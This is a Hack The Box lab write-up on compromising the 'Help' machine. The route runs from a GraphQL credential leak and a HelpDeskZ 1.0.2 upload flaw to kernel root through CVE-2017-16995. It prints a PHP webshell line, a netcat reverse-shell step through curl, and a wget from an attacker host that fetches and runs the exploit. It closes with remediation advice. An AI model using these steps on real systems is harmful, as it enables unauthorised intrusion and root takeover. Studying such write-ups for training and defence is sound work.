Skip to content

Help — GraphQL Credential Leak to HelpDeskZ Upload RCE

Tools
rustscan, feroxbuster, curl, hashcat, python3, netcat, wget, gcc
Skill demonstrated
Web application abuse and Linux kernel privilege escalation
Tags
  • linux
  • web
  • graphql
  • helpdeskz
  • kernel-exploit
  • cve-2017-16995
Field Value
Difficulty Easy
Target environment Ubuntu Linux; Apache httpd 2.4.18 and a Node.js Express service
Starting position Unauthenticated network access
Objective Escalate from an unauthenticated GraphQL data leak and a HelpDeskZ attachment-upload weakness to web-service code execution, then to root through a kernel eBPF vulnerability
Outcome Command execution as the web-service account; root via CVE-2017-16995

Help is an Easy Hack The Box Linux lab running HelpDeskZ 1.0.2 on Ubuntu. The demonstrated route is an unauthenticated attachment-upload weakness that stores a rejected PHP file under a predictable hashed name and reaches command execution as the web-service account; a GraphQL endpoint also returns HelpDeskZ credential data as an alternate disclosure path. After the upload foothold, a kernel eBPF flaw (CVE-2017-16995) escalates to root. Target addresses, the leaked hash and recovered plaintext, the upload payload, and callback ports are replaced with role-based placeholders; command syntax is preserved.

Attack path: Unauthenticated HelpDeskZ attachment upload → rejected PHP file stored under a predictable hashname → web-service command execution → kernel eBPF escalation (CVE-2017-16995) → root

  • Target: a Linux (Ubuntu) host exposing SSH (22), Apache HTTP (80), and a Node.js Express service (3000); the HTTP application answers on the vhost <TARGET_HOST>.
  • Application: HelpDeskZ 1.0.2 (June 2015), identified from the /support README, a release with known weak upload handling and SQL injection issues.
  • Starting position: unauthenticated network access.
  • Objective: reach user-level code execution on the web host and then escalate to root.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a RustScan pass over the host exposes three services.

Terminal window
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN <OUT_PREFIX>
22/tcp open ssh OpenSSH 7.2p2 Ubuntu
80/tcp open http Apache httpd 2.4.18
3000/tcp open http Node.js Express framework

Directory fuzzing against the virtual host locates the support application:

Terminal window
feroxbuster --url http://<TARGET_HOST> --wordlist <WEB_CONTENT_WORDLIST>
/support
/support/README.md

Significance: the /support path serves HelpDeskZ, and its README.md identifies version 1.0.2 — a 2015 release with weak upload handling, so the application exposes both an upload surface and version-specific weaknesses.

Result: HelpDeskZ 1.0.2 is installed at /support, reachable without authentication.

Observation: the service on port 3000 exposes a GraphQL endpoint whose user object returns credential data.

Terminal window
curl -s -X POST http://<TARGET_HOST>:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ user { username password } }"}'
{
"data": {
"user": {
"username": "<HELPDESKZ_EMAIL>",
"password": "<MD5_HASH>"
}
}
}

The disclosed password is an MD5 hash; a wordlist attack recovers its plaintext form:

Terminal window
hashcat -m 0 <HASH_FILE> <WORDLIST>
<MD5_HASH>:<RECOVERED_PLAINTEXT>

Significance: an unauthenticated query returns credential material, and because the disclosed value is an MD5 hash it falls to an offline dictionary attack — so a query interface becomes a credential-disclosure primitive.

Result: one HelpDeskZ credential pair is recovered.

Observation: HelpDeskZ names stored attachments from a predictable MD5 derived from the filename and server-side timestamp. The UI rejects dangerous extensions, but a rejected file still remains on disk under that hashed name.

A PHP webshell is submitted as a support-ticket attachment:

<?php system($_GET['cmd']); ?>

A brute-force helper locates the stored name around the upload timestamp:

Terminal window
python3 <UPLOAD_EXPLOIT_SCRIPT> http://<TARGET_HOST>/support/ <UPLOAD_FILENAME>

Command execution is triggered through the stored file; the source does not capture the response to this request:

Terminal window
curl 'http://<TARGET_HOST>/support/uploads/tickets/<UPLOAD_HASH>.php?cmd=id'

A reverse shell reuses the same vector:

Terminal window
nc -nlvp <LISTENER_PORT>
curl 'http://<TARGET_HOST>/support/uploads/tickets/<UPLOAD_HASH>.php?cmd=<REVERSE_SHELL_COMMAND>'

The shell returns as the web-service account:

$ id
uid=<WEB_SERVICE_UID>(<WEB_SERVICE_ACCOUNT>) gid=<WEB_SERVICE_GID>(<WEB_SERVICE_ACCOUNT>) groups=<WEB_SERVICE_GID>(<WEB_SERVICE_ACCOUNT>)

Significance: extension filtering at the UI is not server-side storage prevention. Because the stored name is derivable from the upload metadata, a rejected payload stays browser-reachable and an attachment upload becomes remote code execution.

Result: commands execute as <WEB_SERVICE_ACCOUNT>.

Observation: kernel and OS checks are used to place the host in the vulnerable range for CVE-2017-16995, an eBPF verifier flaw that permits local root escalation.

Terminal window
uname -a
lsb_release -a

The source records the target as Ubuntu 16.04 within the vulnerable range; the version output itself is not captured.

A public exploit for CVE-2017-16995 is transferred, compiled, and run:

Terminal window
wget http://<ATTACKER_HOST>/<EXPLOIT_SOURCE> -O <LOCAL_SOURCE>
cd /tmp && gcc <LOCAL_SOURCE> -o <LOCAL_BINARY> && chmod +x <LOCAL_BINARY> && ./<LOCAL_BINARY>
# whoami
root

Significance: the vulnerability is a flaw in the eBPF verifier, so an unprivileged local process can corrupt state that the verifier should reject and gain root — the outdated kernel is the root cause.

Result: root execution is confirmed by whoami.

Challenge Decision Rationale
Two independent footholds exist Used the unauthenticated attachment-upload path without relying on the recovered credentials The upload route reached code execution directly; the GraphQL route required an offline hash recovery and was not used for access
Predictable but unknown stored filename Brute-forced candidate hashes around the upload timestamp The name is derived from the filename and server-side timestamp, so the search window is narrow and reliable
CVE-2017-16995 is noisy and unstable Treated it as the intended root path on this lab host It was the designed escalation rather than a stable real-world technique

The evidence establishes command execution as <WEB_SERVICE_ACCOUNT> through an attachment uploaded to HelpDeskZ 1.0.2, and root through CVE-2017-16995 as confirmed by whoami. Limitations: the GraphQL credential pair is recovered but is not shown authenticating to HelpDeskZ.

Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.

  1. Unauthenticated GraphQL data exposure. A public query returned credential material. Recommendation: disable introspection and unauthenticated query access to internal services, and never expose credential fields over GraphQL. Detection: alert on unauthenticated GraphQL requests that select sensitive fields.
  2. Outdated HelpDeskZ 1.0.2. The 2015 release carries known upload-handling and SQL injection weaknesses. Recommendation: upgrade to a supported version or replace the application with maintained software. Detection: inventory deployed application versions and flag end-of-life releases.
  3. Server-side upload validation and predictable names. A rejected PHP file was stored under a derivable hash and stayed reachable. Recommendation: enforce server-side type validation, store uploads outside the web root, and randomize stored names. Detection: monitor upload directories for executable file types and direct requests to them.
  4. Unpatched kernel. The Ubuntu 16.04 kernel’s eBPF verifier flaw allowed local root escalation. Recommendation: apply kernel security updates promptly and track hosts against known privilege-escalation CVEs. Detection: compare host kernel versions against vendor advisories for exploitable local bugs.
Edit page

Last updated: